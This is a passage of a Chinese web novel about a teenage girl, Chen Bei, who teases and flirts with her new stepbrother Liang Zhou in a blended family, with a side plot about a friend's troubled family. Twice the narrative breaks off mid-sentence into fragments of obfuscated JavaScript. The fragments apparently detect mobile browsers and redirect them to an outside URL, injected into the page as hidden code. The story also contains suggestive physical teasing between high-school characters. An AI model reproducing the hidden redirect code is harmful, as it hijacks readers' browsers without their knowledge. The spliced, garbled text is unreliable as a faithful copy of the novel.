再这么任由男生喊下去,街坊邻居可都要知道陈蓓的光荣事迹了。 老小区里居住的大爷大妈可不少,大部分已经退休,多的是时间和精力八卦小区孩子们的事情,一人一句唾沫星子,流言蜚语可不就传出来了。 她在这儿住两年就走,可以不管那些闲言碎语,但他和父亲的家就在这里,本身他们就处于流言中心,他不能坐视不理。 梁洲无奈地翻了个白眼,跑去敲她的房门,他在门口等了会儿,依旧没人来开门。 为了防止她猝死在他家,梁洲二话不说,果断准备撞门,谁料搭在门把手上的手无意间往下一摁,门开了。 她根本就没锁门…… 嗯,确实心大。 梁洲敲门的动静可不小,开门进来时根本就没想着轻手轻脚,走到床头,陈蓓已经皱着眉,眼睛睁开了一条缝。 看清来人是谁后,陈蓓没来得及惊呼,她刚想赶人出去,梁洲已经捉住她的手腕,拉她来到窗户前,“唰”地一下推开窗。 全程一气呵成,屋外的冷风“嗖嗖”地往里面灌,陈蓓直接被冻清醒。 她张嘴,刚要质问“你发什么疯”,下一秒,耳边传来梁洲无情的声音。 他的语气比寒风更冷冽,板着脸警告道:“赶紧下去处理你的相好,让他别喊了,再喊下去方圆十里都要知道了。” “我爸可丢不起这脸。” 说罢,梁洲毫不留情地松开了她的手腕,离开前严肃地瞪了她一眼,似乎她的存在就是个天大的麻烦。 梁洲折身回浴室洗澡,关门声“啪”地一下,震得陈蓓的心跟着老房子颤了一颤。 她睁着惺忪的睡眼,逐渐回过神来。 手臂懒散地搭在窗台,陈蓓眯起眼往下探看。 楼下的男生有些面熟,估计是新学校里她的追求者,她一般采取不主动、不拒绝的方式对待男生的示好。 钓着他们,无聊了从聊天框里拉出来打发时间。 这人寒假以来一直想约她出去玩,陈蓓每次都“好的,下次,有时间再约”,谁料人家居然真打听到她目前的住址,直接找上门来。 脑子真轴。 不仅轴,还听不懂拒绝的潜台词。 陈蓓睡得正香,被吵醒后胸腔内升起一股怒火没地方发,咬了咬牙,她冲着楼下的男生吼了声:“别叫了!” “等着,马上就来。” 马上就来收拾你! 她“哐”的一声推回窗户,扭头去换衣服,换好衣服需要刷牙洗脸,她就守在浴室门口,语气不善:“你还要洗多久啊?” “干嘛?” 水声混着梁洲低沉的嗓音从门缝中漏出来。 “刷牙洗脸啊。”陈蓓斜倚着门框,语气吊儿郎当,“或者你让我进去,我保证不偷看你洗澡——” 她打了个哈欠,说得不以为意。 闻言,梁洲嘴角抽搐了下,低声骂:“流氓。” 梁洲洗完澡后,面无表情地拉开门,目不斜视地从陈蓓面前经过,回房间后又“啪”地合上门,紧接着,里面传来吹风机的声音。 陈蓓翻了个白眼,咬牙:“拽什么拽。” - 男生还在楼下等,尽管陈蓓不情不愿,但为了稳住他,不让他继续发疯,她不得不冒着严寒下楼。 陈蓓刚出单元楼,男生立马迎了上来,面上堆着笑容,笑呵呵同她打招呼。 她默默叹了口气,带男生来到楼房的侧面,避开来往的邻居。 男生邀她出去吃晚饭,陈蓓说已经吃过了,男生说没事,那我请你看电影,陈蓓说她欣赏不来艺术品,男生苦恼,挠着脑袋问她,那不然溜冰、唱歌、泡吧,他都奉陪到底。 陈蓓瞪大了眼睛,捂住嘴巴作惊讶状,先发制人道:“你居然还泡吧?我们才是高中生,酒吧太乱了,我不去。” 她怕去了现出原形,她发起酒疯可不是谁都能拦住的。 所有建议都被驳回,男生后知后觉自己好像是被耍了,他叉着腰,一步一步把陈蓓逼到墙角,不甘心地问:“所以你之前都是在敷衍我吗?” 陈蓓又开始装听不懂,长睫毛扑闪扑闪的,疑惑地皱着眉:“我都说什么了?” 明知故问,不可理喻。 男生有些气急败坏,他单手抵着墙面,将陈蓓圈在面前,固执且霸道地说:“我不管,来都来了,你不能就这么打发我。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405683|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不然想怎样?答应和你在一起?还是心甘情愿被你壁咚啊?” 陈蓓背抵着墙,双手环臂,姿势懒懒散散的,饶有兴致地打量着面前的男生。 她甚至还嫌惹的祸不够大,补上一句:“小说里面男生壁咚女生,紧接着就要接吻了,你也要吗?” 男生太阳穴突突地跳,被她满不在乎的语气一激,眼一闭心一横,俯身压了下来。 来之前只是想约她出去吃个饭,再送她一束花表白,但现在,他不这么想了。 他想吻她。 陈蓓眉头紧锁,在他的脸还未完全凑到面前时,她想的是给一巴掌还是揍他一拳,哪种解决方式能尽量减少她手部的疼痛。 最后的结果,当然是哪种方式都没用上。 因为—— 不知何时出了单元楼的梁洲走到男生身后,他撞见到这一幕,毅然决然地拎起男生衣服的领子,轻轻一拉,把他扯出了墙角。 没收住手上的力道,以至于男生连连往后倒退,才稳住身子。 高大的身影被路灯照着,一小片阴影拢住陈蓓,陈蓓再抬眼时,发现梁洲直挺挺地站到了她和男生的中间。 他,来干什么? 陈蓓瞥了眼怒火冲天的男生,又瞧了眼气定神闲的梁洲,抱臂的手指悠哉地点了两下,挑了挑眉,事不关己地看起好戏。 十几岁的男生,正是要面子的年纪,刚刚差一点就能亲到喜欢的女孩子,结果这等好事突然被人打断了,搁谁谁不气? “你他妈谁啊?这里有你什么事?” 男生直接爆了粗口,快步回到原地,在梁洲面前站定,目光犀利地盯着他。 梁洲长得本就比男生高,常年打球运动,身材也更健硕,站得远看不太出来,这一走近对比可就惨烈了。 他甚至都无需回答,只是轻蔑地睨一眼,强大的气场足以盖过对方的大呼小叫。 “问你话呢,是哑巴吗?”男生举起握紧的右手,在空中装模作样地挥了挥拳头,瞪大眼睛,因为生气,整张脸涨得通红,“信不信我揍你啊!” 愤怒容易使人冲动,男生此刻明显失去理智,眼中闪着生气的火焰。 然而说话尾音颤抖,让他言行举止里的威胁变得轻飘飘。 看着他打肿脸充胖子的行为,陈蓓没忍住“噗嗤”一笑,她清亮的声音悠悠地传过来:“别闹了,你回家吧。” 她从梁洲身后探出半个身子,认真且严肃,好言相劝道:“他是我哥,你要是揍了他,我跟爸妈没法交代。” “啊?”这回轮到男生愣在原地,语气也矮了半截,“没听说过你有哥啊。” 陈蓓双手一摊,笑吟吟的:“这不现在你知道了,这个秘密我只告诉你哦。” 这个秘密我只告诉你哦。 暧昧的话,搭配陈蓓无辜的小表情,男生眸中的火焰渐渐散去。 他半信半疑的目光在陈蓓和梁洲的身上游移,怒火也被这个突如其来的消息转移的七七八八了,但他仍不甘心。 “晚上真不出去?” “不行啊。”陈蓓苦恼地皱了皱鼻子,无奈地双手一摊,“我家教很严的。” “你先回去吧,下次有时间我约你。” 她又搬出老套的托词,虽然有些过时,但百试百灵,所以她每次用起来得心应手,丝毫不感到愧疚。 她说得脸不红心不跳,陈蓓听见面前的梁洲冷嗤了一声,几乎从鼻腔内发出来的,音量低,刚刚好够两个人听见。 有了陈蓓“下次”作保证,再加上挡在她面前这么一位冷漠、看起来铁面无私的哥哥,男生不得不作罢。 他恋恋不舍地跟她说了“拜拜”,转身离去,一步三回头,最后甚至停下了脚步高喊。 “陈蓓,下次见啊。” “好啊。”陈蓓冲他挥挥手,笑容灿烂,“路上注意安全。” 等到男生的背影在眼前彻底消失不见,陈蓓才从梁洲背后钻了出来。 脑海中仅存的困意都被赶跑了,此刻她全身燃起捕捉猎物的兴奋感。 她意味深长的目光锁在梁洲身上,故意拿腔拿调地夹着嗓子恶心他:“哥哥,你怎么下来了?” 这一声娇滴滴的“哥哥”叫的梁洲鸡皮疙瘩瞬间冒出来,他扯了扯嘴角,侧过身。 视线在半空中交汇,陈蓓嬉皮笑脸地冲他挑了下眉。 梁洲冷哼一声,不屑的目光将她从头扫到脚,淡淡地从喉咙里吐出一个字:“滚。” 说罢,梁洲抬脚往单元楼的方向走去。 陈蓓不以为意地挑了下眉,屁颠屁颠地跟上他的步伐。 奇怪,他叫她“滚”,从头到尾没一点好脸色给她,她居然不感到生气。反而是看见他冷若冰霜的脸上终于有了点鲜活生动的表情,油然而生一股自豪感。 陈蓓歪头笑了笑,目光停留在他的背影上,事情好像变得有趣起来了。 她一蹦一跳地走到梁洲身侧,怪笑着睨了他一眼,悠哉游哉地问:“哥哥,你是因为担心我,才跟下来的吗?” 话音落,身侧的人停下脚步。 四目相对,梁洲若有所思地望向她。沉默的半分钟里,两个人的眸光都不曾闪动。 梁洲笑了笑,语气是一贯的清冷:“少往自己脸上贴金。” 31. 第三十一章 31 陈蓓在梁洲身上寻到乐趣,从此开启了热脸贴冷屁股的生活。 当着父母的面甜腻腻地叫他“哥哥”已经见怪不怪,等父母出门上班,她直接抱着一摞试卷敲开了梁洲的门。 “干什么?” 梁洲堵在门口,淡淡地扫了一眼她怀里的试卷,并不打算让她进卧室。 “你爸出门前叮嘱过,让你教我写作业,这么快忘了?” 陈蓓惯会狐假虎威,仗着他不会反驳自己的父亲,特意搬出这个借口。 说完了笑吟吟地盯着他看,一副人畜无害的乖巧模样。 梁洲太懂她这幅面具背后藏着的“坏心肠”,唇角一勾,直接将门合上半扇,斩钉截铁拒绝:“我也不会。” “是你不会还是你不想啊?” “梁洲,我是什么洪水猛兽吗?你看起来好像……很怕我。” 陈蓓斜倚着门框,穿着毛茸茸的睡裙,故意伸出长腿压住门缝,纤细雪白的小腿暴露在空气中。 在梁洲的视线垂下来之前,漫不经心地往他面前伸了伸。 依旧是那副高高在上的姿态,双臂怀抱着试卷,微抬下巴,神闲气静。 留了半扇的门现在就因为这条碍事的腿才没有办法合上,梁洲嘴角抽出一丝冷笑,毫不迟疑地往前推了一把门。 速度之快,眼见着就要压到她的腿,陈蓓居然能眼睛一眨不眨地盯着他。 梁洲眉心微拧,手掌快速一拦,门在距离她的腿不到一寸距离时堪堪停住。 屋子内外静了一瞬。 他垂下眼,语气里难得有几分恼火。 “再不收腿可真要夹上了。” “是吗?”陈蓓不以为意,悠扬地吹了声口哨,身子特意往前挪了挪,抵着门框,懒洋洋道,“听起来有点刺激呢。” 梁洲抬眼,瞧见她眼中冒着亮晶晶的光。 脸上的兴奋不像是演的。 视线相对,梁洲嘴角那抹冷笑也愈发灿烂了,他扶着门的手往前使了使劲,门直接贴住陈蓓的大腿。 门沿冰冷,肌肤与它相触的瞬间凉得陈蓓一哆嗦。大腿与门框相抵,细嫩的肉往下微微凹陷,莫名有一种把它箍紧、掐住的美感。 陈蓓仍不后撤,反而仰起了脖子,直勾勾地盯着梁洲。 “怎么不继续用力?” 陈蓓嫣然含笑,逗趣似的冲他挑了挑眉,说话间,大腿与小腿夹住门,一寸寸往上移,修长的、线条流畅的腿明晃晃地在他面前摆弄。 雪白的肌肤晃得他有些头疼。 梁洲一个没注意,扶住门的手稍稍使了些力气。 “啊——” 陈蓓下意识呼痛,娇滴滴的声音就跟眼前这条不安分的腿似的,随时可能缠上他的腰,绕住他的身体,一点点收紧,令他无处可逃。 梁洲心烦意乱,从喉咙里滚出一句:“有病。” 声音低沉,甚至有些嘶哑,通常只在人睡意朦胧或是高潮迭起时,才可能达到这种嘶哑的临界点。 出口时,他自己都楞了楞。 陈蓓笑意荡漾,若有所思地望着他,双腿挂在门沿晃动,恬不知耻道:“骂得真好听。” 梁洲眯起双眸,淡漠的眼神像一支冷箭。 “教教我呗,我真不会写。” 意识到他的眼神逐渐变得严肃,陈蓓清了清嗓,一本正经地冲他晃动手中的试卷,嘴角弧度微微扬起。 梁洲眉梢略微往上一挑,并不打算接招。 “你是市重点高中的学生,我是第二重点,哪有资格教你啊。” 说罢,他果断上手准备推走陈蓓挂在门沿的腿,对方见状,轻呼一声:“你干嘛?” 梁洲不欲与她纠缠,捉着她的小腿,用力往外掰,力量没控制好,惹得陈蓓连连呼痛。 梁洲瞥眼,只见她眉目舒展,居高临下地看着那只手。 骨节分明的手指,修长、白净,宽大的手掌,居然可以直接圈住她整个小腿。温度不冷不热,陈蓓眼睫轻颤。 晃神的片刻功夫,陈蓓忘记挣扎。 全过程不过几秒,未等她反应过来,那条腿已经被梁洲毫不留情地推出了门外。 隔着一道门缝,梁洲冷冷的声音传出来。 “没事别来找我。” 陈蓓不甘心反问:“那要是有事呢?” “有时自己解决。” “嘭——” 话音刚落,眼前的门就被梁洲果断地关上,老房子禁不住剧烈关门的动静,这么一震,窗沿上的灰簌簌往下落。 客厅的吊灯在宽敞的空间内晃啊晃,晃得人眼酸。 关上门后,陈蓓在门口短暂停留,直到听到里面传来锁门的声响。 她咬咬牙,用尽全力翻了个巨大的白眼,哼一声,扭头走向了隔壁的房间。 送走了陈蓓这个“瘟神”,梁洲坐回书桌前,长舒一口气。 可是很奇怪,陈蓓并没有死缠烂打,继续找他麻烦,也没在门外发出丁零当啷的声响,费劲打扰他。 整间屋子静悄悄的,他本该在这个安静的时候沉下心看书写作业。 然而他拿起笔之后,思绪跟断了绳的串珠似的,劈里啪啦往下落,纷乱无序。 眼前的字母与数字渐渐散开,散成那个熬夜看电影的晚上,视线掠过窗台,偶然在夜幕中看见的漫天繁星。 脑海中莫名浮现出陈蓓偷偷摸摸在厨房煮泡面吃的背影,听见客厅的动静猛地一回头,眼神中的惊恐在对上他的眼睛后一闪而过。 两人的对话始终淡淡的,然而他记得。 记得那双澄澈亮的眼眸,瞳仁微微颤动,像暂时收起利爪、受了惊慌的小白兔。 无法集中注意力,梁洲索性丢开了笔,躺倒在床上,阖眼小憩。 - 到了晚上,父母下班回家,撸起袖子在厨房分工合作 陈蓓懒懒散散地走出房门,站在厨房门口假模假式地问:“妈,叔叔,需要我帮忙吗?” 她来到这个家中,不止一次扮乖。 找些不那么累的家务活,主动上手帮忙,获得两位大人的一致好评。 然而遇上那些她不乐意做的事,她通常先拖一拖时间,等事情到了收尾阶段,再抛出她的孝心。 譬如此时,她得到的回复出奇一致。 “不用,不用,你去客厅坐会儿,菜马上就好。” “也行。”陈蓓转了个身,目光落在刚出房门的梁洲身上,她弯了弯嘴角,“那我去阳台收衣服好了。” 说罢,抬脚离开厨房,走至客厅时,遥遥地喊了声。 “哥,我要去收衣服,你能来帮个忙吗?” 梁洲合上门,对上陈蓓狡黠、挑衅的眼神,牵了牵嘴角,不由加重音量,一字一顿道:“好啊。” 两个人一前一后来到阳台,陈蓓率先动手,井然有序地取下母亲和自己的衣服。 阳台与客厅的玻璃推拉门留了条小缝,冬日的冷风呼啸着往里面钻,窗幔被撩动得飘飘荡荡。 寒风透骨,在阳台站了两分钟,肌肤不禁微微战栗。 梁洲站在陈蓓身后,压着声警告她:“陈蓓,你别太嚣张了。” “嚣张吗?”陈蓓偏了偏头,继而缓缓转过身,眼睛从上到下将他扫了一遍,轻飘飘道,“可是我最擅长的就是得寸进尺、狗仗人势。” “你要不愿意惯着我,看不爽我,大可以冷漠地对待我,为什么要在我妈和你爸的面前扮演和睦相处的一幕?” 闻言,梁洲似笑非笑地看着她。 陈蓓抿了抿唇,不自在地挪开视线,手上的动作却并不停。 其实她知道原因。 梁洲的母亲在他五岁那年生二胎,生产时出了点意外,大出血去世。 胎中的婴儿是个女孩,因为在产道里停留时间过长,不幸窒息死亡。 现在这个年代,科学、医术快速发展,因为生育而丢失性命的人数已经大幅度下降,但那并不代表生育百分之百没有危险。 每年仍旧有人因此丧生,梁洲的亲生母亲就是那位不幸的孕妇。 家中突遭变故,一下子失去两位亲人,对梁洲父亲梁伟是个沉重的打击,他以泪洗面好一段日子,差点儿恢复不过来。 好在他还有个儿子做支撑,并没有因此一蹶不振。 梁伟投入工作,日复一日用工作麻痹自己,直到几年后,他遇上了陈蓓离异的母亲。 陈蓓母亲汪瑾,当年之所以离异,是因为丈夫工作忙碌,常年不在身边,得不到陪伴,也得不到关心呵护。 她觉得这场婚姻完完全全是消耗,她过得很压抑,因此选择离开。 一个渴望关心的离异女人,和一位需要温暖的中年男人,因为工作的几次接触,开始有了更深入的交往。 成年人,经历过分分合合,更明白自己在一段感情中想要的究竟是什么。 孤单的日子里相互作伴,他们逐渐擦出情感的火花,于是决定成立家庭。 汪瑾来到这个家之后,里里外外都是她一手操持,她对梁伟和梁洲的照顾可不少,生活打理得井井有条。 梁洲父亲,那个老实巴交甚至有点内敛憨厚的男人,因为她的到来,脸上逐渐多了笑容,人也变得开朗高兴。 汪瑾性格外向,乐观温和,她来到家中之后,让这个死气沉沉的家开始多了欢声笑语,日子似乎渐渐有了新盼头。 一切都朝着美好未来的方向驶去。 梁洲从小跟着父亲,见识过父亲吃过的苦、流过的泪,明白眼下安稳幸福生活的来之不易。梁伟决定和一个女人重新组建家庭,并且两个人商量过,因为年纪、金钱等方面原因,他们一致决定不打算生一个彼此的小孩。 观念相同,脾性相投,梁伟单身这么久之后,第一次对一个女人上心,他想和汪瑾好好过日子,这点小小的心愿,作为儿子怎么可能不满足他? 所以,哪怕梁洲再反感陈蓓,在父亲面前,他依然能够很好地压下那抹厌恶,笑眯眯地同陈蓓交流互动,甚至有时候还会很好心地提出帮忙。 俨然一位照顾、体贴妹妹的好哥哥形象。 陈蓓从一来到这个家就知道梁洲在演,起初她不在意,不管梁洲心里怎么想,至少表面给她留了面子,为了不给母亲添麻烦,她也十分配合表演。 然而自从上回男生追到她家楼下表白,梁洲不放心地跟下了楼,替她挡住了男生的纠缠之后…… 一切都开始变了。 日子本就无聊,尤其升入高中之后,总是有一股无形的力量挤压着她,枯燥乏味的生活变得压力重重,让她束手束脚。 陈蓓爱自由,行为举止不拘一格,梁洲与她之间的关系,好似一根紧绷的绳,张力十足。 她瞬间对平时那些暧昧的男生意兴阑珊,她的骨子里有着人类最原始野性的征服欲,那些小虾米跟梁洲比起来,实在索然无味。 于是,她把泄压的目标锁定在这个四四方方的小房间,锁在那个经常冲着她皮笑肉不笑的梁洲身上。 他不是看不顺眼她嘛?那她就努努力,迟早有一天,让他把她彻底看爽。 这件事一旦成功,带来的成就感将是以往攻克难题、攻略男生从来不曾达到的最高点,想想就令人刺激。 陈蓓收完衣服,再次扭过头,朝他抬了抬下巴。 “我收完了,叔叔的衣服就麻烦你了。” 说罢,她抬腿往客厅走去,擦肩时她薄唇轻掀:“现在可是我在配合你演戏,你不应该对我说声感谢吗?” - 陈蓓刚放好衣服,母亲在厨房叫吃饭。 四四方方的小桌,梁洲坐在陈蓓对面,落座时目光刻意回避,似是不愿与她过多交流。 陈蓓笑一声,得意洋洋地拿筷子敲了下碗。 三餐一汤,排骨玉米汤刚端上桌时还冒着腾腾的热气,陈蓓盯着袅绕的热气,终于在这个严寒的冬天,恍惚有了点家庭温馨的实感。 这顿饭的前半段,陈蓓还能安分守己地夹菜、埋头扒拉饭。 到了后半段,梁伟忽地提起梁洲班里的副班长,说起今天在菜场买菜的时候,他碰到了对方的家长。 梁洲兴致缺缺地“嗯”了声。 陈蓓却在他敷衍的语调中嗅到点不寻常的味道,抬起头,饶有兴致地问道:“叔叔,他们班副班长是谁啊?” “她是——”梁伟拉长了语调准备开讲。 “副班长是位女孩子,喏,他是他们班的班长,平时班级里有事情,老师都第一时间找他们商量。” “我和女生的父母也认识,他们从小学到高中都是一个班级的同学,当时长辈们都打趣他们两个是金童玉女。” “哦——” 陈蓓意味深长地笑笑,放缓了吃饭的速度,瞥一眼低着头喝汤的梁洲,他一副事不关己的模样,看起来满不在乎。 “本来开开玩笑,大家并无恶意,谁知道那女生真喜欢梁洲。”他叹了口气,摇摇头,“去年在学校里拉他去天台表白,被值日老师抓个正着。” 梁伟回忆起当时的画面,不由发笑。 “然后呢?” 陈蓓边问边打量其余人的神色。 她摆在桌底下的脚不安分地往前面伸过去,碰到某条腿时,餐桌上的另外两个人神色自若,唯有梁洲微微蹙了下眉。 嘴角微不可察地勾了勾,陈蓓在桌下踢掉拖鞋,脚掌绕着那条腿往上攀升。 陈蓓的余光瞄到梁洲握着勺子的手紧了紧,眉头拧得更深。 “然后就被叫家长了呗。”梁父无奈地摇了摇头,“我和女生的父亲,两个大男人,坐在老师办公室大眼瞪小眼,那场面别提多搞笑。” “所以他们是在谈恋爱吗?”陈蓓问。 “听说是告白了,州州没答应。”梁伟顿了顿,扭过头去问梁洲,“你是没答应吧?” 梁洲神色略有不耐烦,低声“嗯”了下。 “其实我也不是不开明的家长,青春期之间的男女生,多多少少有爱慕之情,很正常,但是呢,目前都是高中生,还是以学业为主。” 梁伟夹了一口菜,嚼吧嚼吧,说:“毕业之后再谈也不迟嘛。” 话音落,绕着梁洲的腿暗自使力,将他箍得更紧。 梁洲抬眸瞪她。 陈蓓避开他的视线,笑眯眯问:“所以叔叔是不反对他谈恋爱的,对吗?” 今晚难得陈蓓愿意同他多讲话,梁伟高兴,陡然抬高了音量,毫不含糊道:“那当然!” 陈蓓又问:“和谁谈都可以?” “新时代了,孩子喜欢谁就和谁谈,做父母的这点自由还是要给小孩的,我将来肯定不插手这些事情的。” 梁伟笑呵呵地给出回答。 眼见着她问得越来越没边,梁洲放在桌下的腿往后撤,逼迫陈蓓不得不向前倾身,直到她的脚再不能勾住他的小腿时,陈蓓才不甘不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁洲的脸色沉了下来,无可奈何地跟了过去。 进入房间后,梁洲顺手合上门。 一回头,陈蓓正倚在床头闭目养神,视线下移,那只手机安安静静地躺在她的掌心。 梁洲走上前,语气冷冷的:“手机还给我。” 闻言,陈蓓缓缓睁开眼,她睨他一眼,握着手机的那只手抬起来,当着他的面故意输入几次密码。 每次都以输入错误告终。 “问人拿手机,态度怎么那么差。” 声音娇滴滴的,几分不满,几分娇嗔,被她拿捏得恰到好处。 她眼角眉梢带着笑意,尽管躺在床上仰视梁洲,但气势却分毫不低。 那股子笑吟吟的邪魅劲儿,瞧得他胸腔内腾起一股邪火。梁洲喉咙滚了滚,耐心尽失,上前一步准备伸手抢夺手机。 陈蓓早就在防备他突然袭击,在他倾身的同时,眼疾手快地把手机迅速塞到腰后,胸膛一挺,用力压着它。 现在有且只有一种可能,梁洲才能顺利拿回手机,那就是—— 将陈蓓从床上拖离。 他是这么计划的,也是这么坚决执行的。梁洲单手捉住陈蓓的手腕,二话不说将她往床沿的方向拖。 陈蓓自然要反抗,手脚并用,直接踹他。 原本只是闹着玩,没想到真不小心踹到他的手臂,陈蓓愣怔,默默掀起眼看他表情。 小心翼翼的眼神撞上他等待已久的眸光,梁洲冷嗤,另一只手直接圈住陈蓓的脚踝。 在绝对力量面前,陈蓓这点挣扎更像是玩闹。 她使出全身力气都挣脱不开的时候,终于有点慌,双方父母不在家,难保梁洲不会卸下他惺惺作态的面具,给她点颜色瞧瞧。 陈蓓嘴角拉成一条平直的线,目光盯住梁洲。 那晚惊慌失措的兔子又一次闯入他的视野范围,梁洲手上的动作顿了顿。 “陈蓓,敬酒不吃吃罚酒?” 梁洲直直地立在她的床前,居高临下地看着她,眼神里并没有任何怜香惜玉的情绪。 他捉住她的脚踝,直截了当地将她往面前拽。 力量与力量抗衡,陈蓓略输一筹,她从床头被梁洲拽到床沿。 然而此时她身穿睡裙,随着身子滑出去,睡裙下摆也不知不觉往上卷起,最后全部垒到大腿根部。 两条长腿白皙笔直,就这么赤裸裸地展露在梁洲面前。 如果,如果将她拽住再往前挪一根手指头的距离,裙摆可能会直接掀到肚皮,暴露她的隐私部位。 或许谁都没料到这个意外,两人的视线不由自主停留在她的大腿。 空气瞬间凝固了。 陈蓓有些羞赧,梁洲在此之前松开了她的腿,悄然背过身去,他咳了一声,似是被窗户缝隙里漏进来的冷风呛到了。 依然是那句冷冰冰的话:“手机还给我。”语气不咸不淡,没有起伏。 听到他的声音,原先还有点不好意思的陈蓓,反而起了捉弄的心思。 她跪坐在床上,扯了下唇:“你没看过女孩子白花花的腿啊,背过身去干什么?”陈蓓有一双笔直修长且白皙的长腿,她一直很引以为傲,“我的腿,很好看吧。” 尾音微微上翘,听来有几分蛊惑人心的错觉。 梁洲眸色幽深,喉结克制地动了下。 “哎,问你个问题咯,你回答完,我就把手机还给你。”陈蓓从身后的床上捞过手机,不紧不慢地说。 话音落,梁洲转过身。 他的视线与她相撞,疏离的目光中含着警告的意味。 警告完,他别开眼,刻意不把目光落在她懒散搭在床上的双腿,说:“问吧。” “你有女朋友吗?”陈蓓开门见山。 “没有。” 梁洲回复得很干脆,回答完,他伸出手向她讨回手机。 陈蓓笑笑,把手机放到了梁洲的掌心,放下的瞬间紧跟着问出一个问题。 “那你要跟我谈恋爱吗?” 这个问题犹如惊天霹雳,以至于梁洲触碰到手机时震惊得没有立刻收回。 短暂的沉默之后,他合上五指,扯回了手机。 梁洲往后退了两步,用一种奇怪的目光瞥了她一眼,仅此一眼,居然让陈蓓从中读出点嘲讽、嫌弃的意思。 陈蓓直视他,丝毫不退让,也不打圆场说只是开个玩笑。 半晌之后,梁洲淡淡地吐出几个字:“没兴趣。” 他的语气平静无波,说完之后转身就走,身形快如风,看起来非常抗拒和她待在同一个房间里。 待他开门后,陈蓓如一股幽香的声音从背后缠了上来。 “都没试过,你怎么就知道自己对我没兴趣呢?哥哥。” 往前的身形顿了顿,梁洲握住门把手的手臂青筋暴起,他在竭力克制自己回头给她一巴掌的冲动。 小女孩不学好,年纪轻轻在外面谈了几段恋爱就算了,现在居然把主意打到他身上。 梁洲冷漠地从牙缝中挤出三个字,说罢头也不回地离开了房间。 他说:“滚远点。” 真是个粗暴、没礼貌的家伙啊—— 陈蓓叹了口气,往后一仰,瘫倒在床上。 32. 第三十二章 32 “你是说……你在追求你哥?” 宋昭昭瞠目结舌,惊得下巴都没来得及收。 “哥什么哥!”陈蓓懒懒地打了个哈欠,纠正宋昭昭的说法,“我跟他之间是异父异母,重组家庭,没有任何血缘关系。” “所以,你的主意就打到他身上了?”宋昭昭歪头,疑惑的目光落在陈蓓脸上。 其实她更想问,你喜欢他? 陈蓓不轻不重地“啧”了声,斜一眼宋昭昭,耐心同她解释道:“男女之间看对眼了,怎么能叫打他注意呢?” 宋昭昭:“他答应你了?” “……没。” 宋昭昭挠头,顿时不知该如何接话。 这几天听陈蓓讲述她寒假的遭遇,桩桩件件都有点出乎意料。宋昭昭循规蹈矩十几年,简单规矩的生活,让她难以想象这段离经叛道的情感纠葛,会走向怎样的结局。 梁洲并没有答应陈蓓,甚至对她越界的行为表示不满。陈蓓依旧我行我素,乐此不彼,不见任何伤心难过的情绪。 宋昭昭百思不得其解,真诚发问:“他没答应你,你又想追求他,同住在一个屋檐下,不会感到尴尬吗?” “况且——” 陈蓓挑眉:“啥?” “就算谈了恋爱,你考虑过以后能不能长久的问题吗?万一分了,岂不是……” 住在一间屋子里,抬头不见低头见,关系闹僵了,岂不尴尬? “没奔着长长久久的念头去。” 陈蓓打断她,语气颇有些不以为意:“我对他就是一时兴起,觉得他有意思,想谈。” 陈蓓这人直来直去,谈恋爱图一个快乐,谁能给她提供情绪价值,把她哄得开开心心,她就愿意和谁玩。 哪怕分手了,嚎啕大哭几天也能立马恢复元气。 她和几个初中前男友分手后也没闹到老死不相往来的地步,甚至高一开学那天,往宿舍搬行李这种累活,都是那几个男生争先恐后揽去的。 但梁洲毕竟不同。 他们之间有彼此的父母做牵绊,谈或不谈都是一个雷。 尤其最近几天,陈蓓对梁洲展现出来那个黏糊、死缠烂打的劲儿,与以往不同,宋昭昭隐隐担心。 陈蓓却比宋昭昭想得开。 她吹了个悠扬的口哨,勾过宋昭昭的肩膀,附在她耳边悄声说:“我爸被公司外派去非洲做项目,我妈担心我读高中没人照顾、管教,才接我去他家住。” “高中毕业后,我妈犯不着再管我,我又得拎着大包小包滚回家。到那时候,什么有的没的情意,都会断。” “其实,我和他根本不会有以后。” 陈蓓说得风轻云淡,末了拍拍宋昭昭的肩膀,示意她不用担心。 宋昭昭拧了拧眉,她偏过头偷看了陈蓓一眼,后者神色坦然,似乎并没有任何杞人忧天的焦虑和难过。 叹息的同时,她由衷佩服。 她佩服陈蓓奋不顾身,佩服她一往无前。 她是如此怯懦。 一想到和陈历之间戳破窗户纸,两个人之间的关系极可能飞速倒退,退回陌生人阶段,她便固执地停留在原地,不肯往前踏一步。 她是个彻头彻尾的胆小鬼。 - 四月初,陈历开始准备比赛的事情,教室、图书馆两头跑,整天忙得脚不沾地。 偏偏他那不争气又不负责任的爸,把从家里卷走的钱全部花光了,日子过得紧巴巴的,不知从哪里打听到董莲目前居住的地址,连续多天蹲守在居民楼堵人。 陈国平在工程失败后,没有选择扛起责任,护住这个风雨飘零的家,反而把烂摊子尽数丢给董莲和陈历时,已然失去了母子两人对他的信任。 董莲对这个枕边人失望至极,原来想着等工程后续所有事情解决完,两个人去民政局办理离婚手续,可是陈国平的电话拨不通,短信不回复。 恍若人间蒸发般,消失得彻彻底底。 找不到陈国平的身影,离婚的事情不得不被搁置。 好在他的离开并没有使这个家瞬间崩塌,董莲用她瘦弱的肩膀顶住风雨,供陈历上学、读书。 她工资不算高,尽管不能回到先前衣食无忧的日子,但尚且能养家糊口。 陈历考上大学后,寒暑假兼职打工,又连续领了几年奖学金和比赛奖金,几乎涵盖所有的学费和生活费。 陈历孝顺,自从有赚钱的能力后便不再让董莲出钱,她这才开始慢慢存钱,有了一点点积蓄。 生活似乎朝着美好的方向奔去。 直到…… 四月下旬的某个傍晚。 